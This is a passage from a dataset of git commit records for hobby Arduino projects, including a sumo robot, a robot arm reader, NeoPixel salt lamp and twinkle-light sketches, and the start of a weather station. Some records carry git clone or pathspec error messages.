700;\nconst float P3_LOWER = 0;\nconst float P3_UPPER = 0;\nconst float P4_LOWER = 240;\nconst float P4_UPPER = 420;\n\nint pot_val = 0;\n\nvoid muxDigitalWrite(const unsigned int& c, const unsigned int& b, const unsigned int& a) {\n digitalWrite(C, c);\n digitalWrite(B, b);\n digitalWrite(A, a);\n}\n\n\/\/ MUX: MAX4617CPE\n\/\/ C B A (A is LSB)\nvoid setMux(const unsigned int& pot_num) {\n switch(pot_num) {\n case 0:\n muxDigitalWrite(0,0,0);\n break;\n case 1:\n muxDigitalWrite(0,0,1);\n break;\n case 2:\n muxDigitalWrite(0,1,0);\n break;\n case 3:\n muxDigitalWrite(0,1,1);\n break;\n case 4:\n muxDigitalWrite(1,0,0);\n break;\n default:\n Serial.println(\"Invalid pot selection\");\n }\n}\n\nfloat getPotValue(const unsigned int& pot_num) {\n setMux(pot_num);\n return analogRead(POTS);\n}\n\nfloat getJointAngle(const unsigned int& joint_num) {\n float joint_val = getPotValue(joint_num);\n switch (joint_num) {\n case 0:\n joint_val = map(joint_val, P0_LOWER, P0_UPPER, J0, -J0);\n break;\n case 1:\n joint_val = map(joint_val, P1_LOWER, P1_UPPER, J1, -J1);\n break;\n case 2:\n joint_val = map(joint_val, P2_LOWER, P2_UPPER, J2, -J2);\n break;\n case 3:\n joint_val = map(joint_val, P3_LOWER, P3_UPPER, J3, -J3);\n break;\n case 4:\n joint_val = map(joint_val, P4_LOWER, P4_UPPER, J4, -J4);\n break; \n }\n return joint_val; \n}\n\nvoid getJointAngle(float* joints) {\n for (unsigned int i = 0; i < NUM_JOINTS - 1; ++i) {\n joints[i] = getJointAngle(i);\n } \n}\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(C, OUTPUT);\n pinMode(B, OUTPUT);\n pinMode(A, OUTPUT);\n}\n\nvoid loop() {\n Serial.println(\"Select a joint (0-4)\");\n while (Serial.available() == 0);\n {\n int joint = Serial.parseInt();\n Serial.println(getJointAngle(joint));\n }\n delay(1000);\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'roboarm\/roboarm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"de41d4df0be2d6304578b084a49247f1522c2b09","subject":"Added sketch for FlowSensor","message":"Added sketch for FlowSensor\n","repos":"jsiegmund\/submerged,jsiegmund\/submerged,jsiegmund\/submerged,jsiegmund\/submerged,jsiegmund\/submerged,jsiegmund\/submerged,jsiegmund\/submerged,jsiegmund\/submerged","old_file":"src\/Arduino Sketches\/FlowSensor\/FlowSensor.ino","new_file":"src\/Arduino Sketches\/FlowSensor\/FlowSensor.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Sketches\/FlowSensor\/FlowSensor.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6754a02bf5ca9b896292025cc46aec7fb02c8a57","subject":"Adds push direction to energy arduino code.","message":"Adds push direction to energy arduino code.\n","repos":"bassjansson\/vera,bassjansson\/vera,bassjansson\/vera,bassjansson\/vera","old_file":"room\/arduino\/energy\/energy.ino","new_file":"room\/arduino\/energy\/energy.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bassjansson\/vera.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"779cbe6c00c29a274d3c83e367b8b6e1c4c8d662","subject":"Added code for gate-alarm","message":"Added code for gate-alarm\n\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"projects\/gate-alarm\/gate-alarm.ino","new_file":"projects\/gate-alarm\/gate-alarm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0d96f1249288a4341db13a47e8a663169ec31413","subject":"Create h_sumo_search.ino","message":"Create h_sumo_search.ino","repos":"simplyellow\/auto-sumo","old_file":"h_sumo_search.ino","new_file":"h_sumo_search.ino","new_contents":"\/*\n * autonomous sumo test 1\n * simple h bridge controlling 2-wheel bot\n * HC-SR04 used for object detection\n * objective: search and push\n*\/\n\n\/\/motor A connected between A01 and A02\n\/\/motor B connected between B01 and B02\n\nint STBY = 10; \/\/standby\n\n\/\/Motor A\nint PWMA = 3; \/\/Speed control \nint AIN1 = 9; \/\/Direction\nint AIN2 = 8; \/\/Direction\n\n\/\/Motor B\nint PWMB = 5; \/\/Speed control\nint BIN1 = 11; \/\/Direction\nint BIN2 = 12; \/\/Direction\n\n#define leftEcho 2 \/\/ left Echo Pin\n#define leftTrig 4 \/\/ left Trigger Pin\n#define rightEcho 7 \/\/ right Echo Pin\n#define rightTrig 6 \/\/ right Trigger Pin\n\n\/\/ POSSIBLY CHANGE THIS FOR ARENA SIZE\nint maximumRange = 20; \/\/ Maximum range needed\nint minimumRange = 0; \/\/ Minimum range needed\nlong duration, leftDistance, rightDistance; \/\/ Duration used to calculate distance\n\nboolean found = false; \/\/ used for search()\n\nboolean tagged = false; \/\/ used for follow()\nint rightDirMod = 0;\nint leftDirMod = 0;\n\nvoid setup(){\n Serial.begin (9600);\n pinMode(STBY, OUTPUT);\n\n pinMode(PWMA, OUTPUT);\n pinMode(AIN1, OUTPUT);\n pinMode(AIN2, OUTPUT);\n\n pinMode(PWMB, OUTPUT);\n pinMode(BIN1, OUTPUT);\n pinMode(BIN2, OUTPUT);\n\n pinMode(leftTrig, OUTPUT);\n pinMode(leftEcho, INPUT);\n pinMode(rightTrig, OUTPUT);\n pinMode(rightEcho, INPUT);\n\n \/\/search();\n}\n\nvoid loop(){\n search();\n follow();\n}\n\nvoid move(int motor, int speed, int direction){\n\/\/Move specific motor at speed and direction\n\/\/motor: 0 for B 1 for A\n\/\/speed: 0 is off, and 255 is full speed\n\/\/direction: 0 clockwise, 1 counter-clockwise\n\n digitalWrite(STBY, HIGH); \/\/disable standby\n\n boolean inPin1 = LOW;\n boolean inPin2 = HIGH;\n\n if(direction == 1){\n inPin1 = HIGH;\n inPin2 = LOW;\n }\n\n if(motor == 1){\n digitalWrite(AIN1, inPin1);\n digitalWrite(AIN2, inPin2);\n analogWrite(PWMA, speed);\n }else{\n digitalWrite(BIN1, inPin1);\n digitalWrite(BIN2, inPin2);\n analogWrite(PWMB, speed);\n }\n}\n\nvoid stop(){\n\/\/enable standby \n digitalWrite(STBY, LOW); \n}\n\nvoid calcDistance() {\n\/* The following trigPin\/echoPin cycle is used to determine the\n distance of the nearest object by bouncing soundwaves off of it. *\/ \n digitalWrite(leftTrig, LOW); \n delayMicroseconds(2); \n digitalWrite(leftTrig, HIGH);\n delayMicroseconds(10); \n digitalWrite(leftTrig, LOW);\n duration = pulseIn(leftEcho, HIGH);\n \/\/Calculate the distance (in cm) based on the speed of sound.\n leftDistance = duration\/58.2; \n \n digitalWrite(rightTrig, LOW); \n delayMicroseconds(2); \n digitalWrite(rightTrig, HIGH);\n delayMicroseconds(10); \n digitalWrite(rightTrig, LOW);\n duration = pulseIn(rightEcho, HIGH);\n \/\/Calculate the distance (in cm) based on the speed of sound.\n rightDistance = duration\/58.2; \n}\n\n\/*\n * spins until it finds an object, then stops\n *\/\nvoid search() {\n while(!found) {\n \/\/ 0 is forward, 1 is backward\n move(1, 128, 1); \/\/right motor\n move(2, 128, 0); \/\/left motor\n calcDistance();\n Serial.println(leftDistance);\n Serial.println(rightDistance);\n delay(10);\n if((leftDistance <= maximumRange && leftDistance >= minimumRange) ||\n (rightDistance <= maximumRange && rightDistance >=minimumRange)) {\n found = true;\n Serial.println(\"FOUND\");\n stop(); \n \/\/uncomment for looped testing of search function \n \/\/delay(1000);\n \/\/found = false;\n }\n }\n}\n\nvoid follow() {\n while(!tagged) {\n \/\/happens every loop\n move(1, 128, rightDirMod); \/\/right motor with rightDirMod\n move(2, 128, leftDirMod); \/\/left motor with leftDirMod\n\n Serial.println(leftDistance);\n Serial.println(rightDistance);\n \n \/\/change dir\n \/\/0 is forward, 1 is backward\n if((leftDistance - rightDistance) > 10 ) {\n \/\/if right sensor is closer, slight turn right\n rightDirMod = 0;\n leftDirMod = 1;\n } else if((leftDistance - rightDistance) < -10) {\n \/\/if left sensor is closer, slight turn left\n rightDirMod = 1;\n leftDirMod = 0;\n } else {\n rightDirMod = 0;\n leftDirMod = 0;\n }\n calcDistance();\n if((leftDistance <= 5 && leftDistance >= minimumRange) ||\n (rightDistance <= 5 && rightDistance >=minimumRange)) {\n tagged = true;\n Serial.println(\"GOTCHA\");\n stop(); \n }\n delay(10);\n } \n while(true) {\n stop();\n }\n}\n\n \/*\n * loop\n * move toward object\n * if left sensor is closer, slight turn left\n * if right sensor is closer, slight turn right\n * if both are pretty much same, keep straight\n * stop when both sensor's distance is lower than 10\n * have a constant for the degree of turn\n * \n * if robot loses sight (sensors output -1, do search again)\n *\/\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'h_sumo_search.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"63d1e8667589830a3324092c1faa4e612e2e09ea","subject":"Add I2C chord messages","message":"Add I2C chord messages\n","repos":"mvines\/futboard","old_file":"gen3\/gen3.ino","new_file":"gen3\/gen3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mvines\/futboard.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"d0c361dcc4436741520bc97836375c5d89e45de0","subject":"Added intial source code","message":"Added intial source code\n","repos":"scel-hawaii\/wind-sensor","old_file":"sensor_firmware\/AnalogRead.ino","new_file":"sensor_firmware\/AnalogRead.ino","new_contents":"\/*\n AnalogReadSerial\n Reads an analog input on pin 0, prints the result to the serial monitor.\n Attach the center pin of a potentiometer to pin A0, and the outside pins to +5V and ground.\n \n This example code is in the public domain.\n *\/\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\n \/\/ initialize serial communication at 9600 bits per second:\n Serial.begin(9600);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n \/\/ read the input on analog pin 0:\n int sensorValue = analogRead(A0);\n \/\/ print out the value you read:\n Serial.println(sensorValue);\n delay(1); \/\/ delay in between reads for stability\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensor_firmware\/AnalogRead.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a08c64e2dc228ebb84387686ee29707cc0d7c51b","subject":"cambiado el nombre del servidor","message":"cambiado el nombre del servidor\n","repos":"xaguzman\/iotcampusparty,xaguzman\/iotcampusparty","old_file":"Arduino Light Control\/IoTDimmer.ino","new_file":"Arduino Light Control\/IoTDimmer.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Light' did not match any file(s) known to git\nerror: pathspec 'Control\/IoTDimmer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5f7418cf7fc361841c7890659d422abcbd245a53","subject":"Delete Blink_led.ino","message":"Delete Blink_led.ino","repos":"wetwot\/ArduinoEvent","old_file":"examples\/Blink_led\/Blink_led.ino","new_file":"examples\/Blink_led\/Blink_led.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wetwot\/ArduinoEvent.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5d79a1dd442afb86ef2af42964aaa6123c8376c7","subject":"tuning. isgood obstacle need to fix","message":"tuning. isgood obstacle need to fix\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"940ac91116bd3df25ac839a97112f2e8066a4074","subject":"Initial check in of project framework.","message":"Initial check in of project framework.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c4bbc1524df3de4c8998cf13081770748aa9a127","subject":"Add files via upload","message":"Add files via upload\n\nChanged the shimmer function to use a single array to contain many important values. Overhauled the entire shimmer function. Changed the timer delay functions slightly. Removed Lightning until I can actually figure out a nice way to implement it. Detailed changelog to come.","repos":"directive0\/SaltLamp","old_file":"Salt_Lamp_v2.0.ino.ino","new_file":"Salt_Lamp_v2.0.ino.ino","new_contents":" \n\/\/ Neopixel Salt Lamp v2.0\n\/\/ By Chris Barrett - Polaris Interplanetary - Special Projects Division\n\/\/ Supports two modes; All pixel colour fade, and 8 pixel RGB mixer. All modes are asynchronous, and compartmentalized into functions.\n\n\/\/ Dec 2016 - Changed shimmer to use a different array based system to try and finally end flickering.\n\/\/ June 2016 - Re-implemented rotary encoder functions for brightness control\n\/\/ - New timing function to space out updates\n\/\/ - LIGHTNING FUNCTION \n\/\/ - produces a quicker shimmer effect, may replace shimmer with it later.\n\/\/ January 2016 - Shimmer has been overhauled. Cleaner, faster and more productive. NO MORE MID FADE FLICKER?\n\/\/ - Collision detection has been implemented, not sure if it works, will need to check further.\n\n#include <Adafruit_NeoPixel.h> \/\/ Neopixel library\n\/\/#include <avr\/power.h> \/\/ Not sure why this is here, lol\n#include <Encoder.h> \/\/ Rotary encoder library.\n\n\n#define PIN 6 \/\/ Which pin on the Arduino is connected to the NeoPixels\n\n\n#define NUMPIXELS 37 \/\/ Highest pixel location. \n#define LOWPIXELS 0 \/\/ Lowest pixel location This was helpful in prototyping because I could use a long strip of lights and only address the last few and stick them in the salt crystal.\n\n\n\n\/\/ When we setup the NeoPixel library, we tell it how many pixels, and which pin to use to send signals.\n\/\/ Note that for older NeoPixel strips you might need to change the third parameter--see the strandtest\n\/\/ example for more information on possible values.\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800);\n\nEncoder myEnc(2, 3); \/\/ Encoder function variables\n\n\/\/--------------------------------------------------\/\/ TIMER STUFF\n\n\n\/* These are from Blink without Delay \nShows another way to execute delays. *\/\nunsigned long previousMillis = 0;\nunsigned long lastbolt = 0;\nunsigned long interval = 60;\nint maxb;\n\n\nint butpin = 5; \/\/ integer to store button pin\nint butval; \/\/ Button digital read variable\nint butsel = 1; \/\/ Button mode selection variable.\nint butbounce; \/\/ button debounce\nint rcount; \/\/ Counter for red\nint gcount; \/\/ Counter for green\nint bcount; \/\/ Counter for blue\nint rval; \/\/ int stores red brightness\nint gval; \/\/ int stores green brightness\nint bval; \/\/ int stores blue brightness\nint rgo; \/\/ red go int, 0 for off, 1 for upwards, 2 for downwards\nint ggo; \/\/ green go int, 0 for off, 1 for upwards, 2 for downwards\nint bgo; \/\/ blue go int, 0 for off, 1 for upwards, 2 for downwards\nint magicnumber; \/\/ magic number determines when to fire colours\nint supbright;\nint interntimer;\n\n\/\/--------------------------------------------------\/\/ The following values are for the \"Shimmer\" routine\nint PixRay[NUMPIXELS][7];\nlong oldPosition = 255; \/\/ integer to store encoder value\nint firstrun = 0; \/\/ array to write first run values to pixels\nint randosparkle =0; \/\/ integer to hold the random number value\n\n\/\/--------------------------------------------------\/\/ LIGHTNING\nint boltgo[8];\nint boltloc[8];\nint boltbright[8];\nint boltupdn[8];\nint boltready[8];\n\nvoid setup() { \/\/-----------------------------------------------(Setup)\n pinMode(butpin, INPUT); \/\/ Set buttonpin as input\n \/\/ Serial.begin(9600); \/\/ Initialize Serial Debug\n pixels.begin(); \/\/ This initializes the NeoPixel library.\n\n for (int i=0; i <= (NUMPIXELS-1); i++){ \/\/ set magic number for all pixray locations\n PixRay[i][5] = {i};\n }\n\n}\n\nvoid loop() { \/\/-----------------------------------------------(Main Loop)\n\n if (firstrun == 0){\n }\n \n butcheck();\n\nunsigned int tnow = millis();\n\n \/\/ some other logic here would decide when to change the LED state\n \/\/ For this sample, just toggle every 4 seconds\n if((tnow - previousMillis) >= interval) { \n \n if (oldPosition > 1 && oldPosition < 255){\n supbright = oldPosition;\n }\n \n if (oldPosition < 0){\n supbright = 0;\n }\n \n if (oldPosition > 255){\n supbright = 255;\n }\n \n \n if (butsel == 1){\n clearscreen();\n shimmer();\n }\n \n if (butsel == 2){\n clearscreen();\n colourfade();\n }\n \n if (butsel == 3){\n clearscreen();\n }\n \n pixels.show(); \/\/ This sends the updated pixel color to the hardware.\n previousMillis = tnow;\n}\n \n}\n\nvoid clearscreen(){ \/\/-----------------------------------------------(clears the strip)\n for(int i=0;i<NUMPIXELS;i++){\n pixels.setPixelColor(i, pixels.Color(0,0,0));\n } \n}\n\nvoid butcheck(){ \/\/-----------------------------------------------(Button Check Function)\n \n\n \n long newPosition = myEnc.read();\n if (newPosition != oldPosition) {\n\n\n if (newPosition >= 100){\n myEnc.write(100);\n }\n if (newPosition < 0){\n myEnc.write(0);\n }\n oldPosition = newPosition;\n \/\/ Serial.println(newPosition);\n }\n\n interval = map(newPosition, 0, 100, 80, 0);\n maxb = map(newPosition, 0, 100, 0, 255);\n \n pinMode(butpin, INPUT);\n butval = digitalRead(butpin); \/\/ check button pin for a high\n\n\n \n if (butval == HIGH){ \/\/ if high signal read add one to the button selection variable\n butbounce = 1;\n }\n\n if (butbounce == 1 && butval == LOW){\n butsel = butsel + 1;\n butbounce = 0; \n }\n\n if (butsel > 2){ \/\/ resets the button value variable. I use this method so I can add more modes if I want later.\n butsel = 1;\n }\n}\n\nvoid colourfade(){ \/\/-----------------------------------------------(Colour Fade Function)\n\n magicnumber = random(0,30); \/\/creates a magic number\n\n if (magicnumber == 3 && rgo == 0){ \/\/checks to see if magic number has selected red and red is not currently firing\n rgo = 1; \/\/sets the red go bit to 1 meaning positive alternation\n }\n \n if (magicnumber == 10 && ggo == 0){ \/\/checks to see if magic number has selected green\n ggo = 1;\n }\n \n if (magicnumber == 20 && bgo == 0){ \/\/checks to see if magic number has selected blue\n bgo = 1; \n }\n\n\n \/\/ ---------------------------------------------\/\/ Write Red\n \n if (rgo == 1){ \/\/ checks for ascent stage bit, adds one to red brightness \n rval = rval + 1;\n }\n \n if (rgo == 2){ \/\/ checks for descent stage bit, subtracts one from brightness\n rval = rval - 1;\n }\n \n if (rval >= maxb){ \/\/ sets red bit to 2 meaning negative alternation\n rgo = 2;\n }\n \n if (rval == 0 && rgo == 2){ \/\/ when counter runs out and go bit is 2, reset everything.\n rgo = 0;\n rval = 0;\n }\n\n \/\/ ---------------------------------------------\/\/ Write Blue\n \n if (bgo == 1){ \/\/ checks for ascent stage bit, adds one to blue brightness \n bval = bval + 1;\n }\n \n if (bgo == 2){ \/\/ checks for descent stage bit, subtracts one from brightness\n bval = bval - 1;\n }\n \n if (bval >= maxb){\n bgo = 2;\n }\n \n if (bval == 0 && bgo == 2){\n bgo = 0;\n bval = 0;\n }\n\n \/\/ ---------------------------------------------\/\/ Write Green\n \n if (ggo == 1){ \/\/ checks for ascent stage bit, adds one to green brightness \n gval = gval + 1;\n }\n \n if (ggo == 2){ \/\/ checks for descent stage bit, subtracts one from brightness\n gval = gval - 1;\n }\n \n if (gval >= maxb){\n ggo = 2;\n }\n \n if (gval == 0 && ggo == 2){\n ggo = 0;\n gval = 0;\n }\n \n \n\n \n for(int i=LOWPIXELS;i<NUMPIXELS;i++){\n pixels.setPixelColor(i, pixels.Color(rval,gval,bval));\n }\n\n \n}\n\nvoid shimmer() { \/\/-----------------------------------------------(Shimmer Function)\n\n \n randosparkle = random(0,(NUMPIXELS*10)); \/\/picks a random number\n \n\n \n for (int i=0; i <= (NUMPIXELS-1); i++){ \/\/For loop to check random number against magic numbers and set the pixel for activation\n if (PixRay[i][5] == randosparkle && PixRay[i][0] == 0){ \n PixRay[i][0] = 1;\n PixRay[i][1] = random(0,3);\n } \n } \n\n\/\/ unsigned int tnow = millis();\n \n \/\/ if((tnow - previousMillis) >= interval) { \n for (int i=0; i <= (NUMPIXELS-1); i++){ \/\/For loop to activate a pixel\n if (PixRay[i][0] == 1){ \n drawPixel(i);\n }\n }\n\/\/ previousMillis = tnow;\n\/\/ } \n}\n\nvoid drawPixel(int pixelv){ \/\/-----------------------------------------------(Red Pixel Draw Function)\n\n\n\n if (PixRay[pixelv][4] == 0){ \/\/check if counter is within envelope\n PixRay[pixelv][2] = PixRay[pixelv][2] + 1; \n }\n \n if (PixRay[pixelv][4] == 1){ \/\/check if counter is within envelope\n PixRay[pixelv][2] = PixRay[pixelv][2] - 1; \n }\n\n if (PixRay[pixelv][2] >= maxb){ \/\/check if counter is within second half of fade \n PixRay[pixelv][4] = 1;\n PixRay[pixelv][2] = maxb; \n }\n\n if (PixRay[pixelv][1] == 0){\n pixels.setPixelColor(pixelv, pixels.Color(PixRay[pixelv][2],0,0));\n } \n\n if (PixRay[pixelv][1] == 1){\n pixels.setPixelColor(pixelv, pixels.Color(0,PixRay[pixelv][2],0));\n } \n\n if (PixRay[pixelv][1] == 2){\n pixels.setPixelColor(pixelv, pixels.Color(0,0,PixRay[pixelv][2]));\n } \n \n \n if (PixRay[pixelv][2] <= 0 && PixRay[pixelv][4] == 1){ \/\/check if counter is done alternation \n pixels.setPixelColor(pixelv, pixels.Color(0,0,0)); \/\/turn selected pixel off\n PixRay[pixelv][2] = 0; \/\/set brightness to zero\n PixRay[pixelv][0] = 0; \/\/deactivate pixel activate bit\n PixRay[pixelv][4] = 0; \/\/reset counter\n }\n \n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Salt_Lamp_v2.0.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0dd8840c5679c460973d7ccabed84ee6e2c8b48e","subject":"Add Christmas twinkle lights on NeoPixel strip","message":"Add Christmas twinkle lights on NeoPixel strip\n","repos":"rlynch3456\/Arduino","old_file":"twinkle\/twinkle.ino","new_file":"twinkle\/twinkle.ino","new_contents":"\/\/ A basic everyday NeoPixel strip test program.\n\n\/\/ NEOPIXEL BEST PRACTICES for most reliable operation:\n\/\/ - Add 1000 uF CAPACITOR between NeoPixel strip's + and - connections.\n\/\/ - MINIMIZE WIRING LENGTH between microcontroller board and first pixel.\n\/\/ - NeoPixel strip's DATA-IN should pass through a 300-500 OHM RESISTOR.\n\/\/ - AVOID connecting NeoPixels on a LIVE CIRCUIT. If you must, ALWAYS\n\/\/ connect GROUND (-) first, then +, then data.\n\/\/ - When using a 3.3V microcontroller with a 5V-powered NeoPixel strip,\n\/\/ a LOGIC-LEVEL CONVERTER on the data line is STRONGLY RECOMMENDED.\n\/\/ (Skipping these may work OK on your workbench but can fail in the field)\n\n#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h> \/\/ Required for 16 MHz Adafruit Trinket\n#endif\n\n\n\n\/\/ Which pin on the Arduino is connected to the NeoPixels?\n\/\/ On a Trinket or Gemma we suggest changing this to 1:\n#define LED_PIN 6\n\n\/\/ How many NeoPixels are attached to the Arduino?\n#define LED_COUNT 21\n\n\/\/ Declare our NeoPixel strip object:\nAdafruit_NeoPixel strip(LED_COUNT, LED_PIN, NEO_GRB + NEO_KHZ800);\n\/\/ Argument 1 = Number of pixels in NeoPixel strip\n\/\/ Argument 2 = Arduino pin number (most are valid)\n\/\/ Argument 3 = Pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\n\/\/ NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)\n\nvoid setAll(byte red, byte green, byte blue) {\n for(int i = 0; i < LED_COUNT; i++ ) {\n strip.setPixelColor(i, red, green, blue);\n }\n strip.show();\n}\n\n\/\/ setup() function -- runs once at startup --------------------------------\n\nvoid setup() {\n \/\/ These lines are specifically to support the Adafruit Trinket 5V 16 MHz.\n \/\/ Any other board, you can remove this part (but no harm leaving it):\n#if defined(__AVR_ATtiny85__) && (F_CPU == 16000000)\n clock_prescale_set(clock_div_1);\n#endif\n \/\/ END of Trinket-specific code.\n\n strip.begin(); \/\/ INITIALIZE NeoPixel strip object (REQUIRED)\n strip.show(); \/\/ Turn OFF all pixels ASAP\n strip.setBrightness(50); \/\/ Set BRIGHTNESS to about 1\/5 (max = 255)\n}\n\n\n\/\/ loop() function -- runs repeatedly as long as board is on ---------------\n\nvoid loop() {\n \n int i;\n int color;\n\n\/* Twinkle Christmas colors *\/\n\n for(i = 0; i < LED_COUNT; i++)\n { \n color = random(4);\n switch (color) {\n case 0:\n strip.setPixelColor(i, 255, 255, 255);\n break;\n case 1:\n strip.setPixelColor(i, 255, 0, 0);\n break;\n\n case 2:\n strip.setPixelColor(i, 0, 255, 0);\n break;\n\n case 3:\n strip.setPixelColor(i, 0, 0, 0);\n }\n }\n strip.show();\n delay(100);\n setAll(0, 0, 0);\n \n }\n \n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'twinkle\/twinkle.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"01f26fe34ded56774acde2da99a072549c106fb7","subject":"Starting point arduino sketch included","message":"Starting point arduino sketch included\n","repos":"vanceb\/arduino-weather,vanceb\/arduino-weather,vanceb\/arduino-weather","old_file":"weather\/weather.ino","new_file":"weather\/weather.ino","new_contents":"\/\/ For the Dallas DS18B20 one wire Temp Sensors\n#include <OneWire.h> \n#include <DallasTemperature.h> \n\/\/For the MPL3115A2 I2C Temp and Pressure Sensor\n#include <Wire.h>\n#include \"MPL3115A2.h\"\n\/\/ For the LCD Display\n#include <LiquidCrystal.h>\n\n\/\/ Debug Flag\n#define DEBUG 0\n\/\/#define TO_SERIAL 1\n#define VERSION 0.1\n\n#define BACKLIGHT 13\nint light = A0;\n\n\/\/ Data wire is plugged into pin 2 on the Arduino\n#define ONE_WIRE_BUS 10\n\n\/\/ Define Global variables to be used throughout the sketch\n\/\/ Setup a oneWire instance to communicate with any OneWire devices (not just Maxim\/Dallas temperature ICs)\nOneWire oneWire(ONE_WIRE_BUS);\n\/\/ Pass our oneWire reference to Dallas Temperature. \nDallasTemperature dallasTemp(&oneWire);\n\/\/ \nMPL3115A2 mplTempPressure;\n\n\/\/ LCD\nLiquidCrystal lcd(9,8,7,6,5,4);\n\/\/ Create the \"Degree\" character\nuint8_t degree[8] = {\n B00010,\n B00101,\n B00101,\n B00010,\n B00000,\n B00000,\n B00000,\n B00000,\n};\n\/\/ Create a down arrow\nuint8_t falling[8] = {\n B00000,\n B00000,\n B00000,\n B00000,\n B11111,\n B01110,\n B00100,\n B00000,\n};\n\/\/ Create an up arrow\nuint8_t rising[8] = {\n B00000,\n B00100,\n B01110,\n B11111,\n B00000,\n B00000,\n B00000,\n B00000,\n};\n\/\/ Create a symbol for stable\nuint8_t stable[8] = {\n B00000,\n B00100,\n B01110,\n B11111,\n B01110,\n B00100,\n B00000,\n B00000,\n};\n\/\/ Create a symbol for unknown\nuint8_t empty[8] = {\n B00000,\n B00000,\n B00000,\n B00000,\n B00000,\n B00000,\n B00000,\n B00000,\n};\n\/\/ Variables to hold the values\nfloat inTemp = 0.0;\nfloat inTemp2 = 0.0;\nfloat outTemp = 0.0;\nfloat pressure = 0.0;\n\n\/\/ Hold historic values to help error checking\nfloat inTempHist = 0.0;\nfloat inTemp2Hist = 0.0;\nfloat outTempHist = 0.0;\nfloat pressureHist = 0.0;\n\nboolean firstRun = true;\nfloat maxVariation = 0.5; \/\/ difference between readings, should be good for both temp an pressure\nint smooth = 5; \/\/ How much weighting the historic value gets vs last reading (Smoothing)\n\n\/\/ Keep a historic record\nint const readingsPerMin = 12; \/\/number of readings per minute\nfloat readings[readingsPerMin];\nfloat mins[60];\nfloat hours[24];\n\/\/ Indexes to next value to be written\nint rdgIndex = 0;\nint minIndex = 0;\nint hrIndex = 0;\n\n\/\/ Long historic value to allow estimate of rising or falling pressure\nfloat longPressureHist = 0.0;\nfloat pressureChangeMin = 0.1;\nlong measureTime = 0;\nlong measureInterval = 60000\/readingsPerMin; \/\/ 5 second intervals between measurements\nlong loopCount = 0;\n\/\/long loops = 1*60*60\/(measureTime\/1000); \/\/about 1 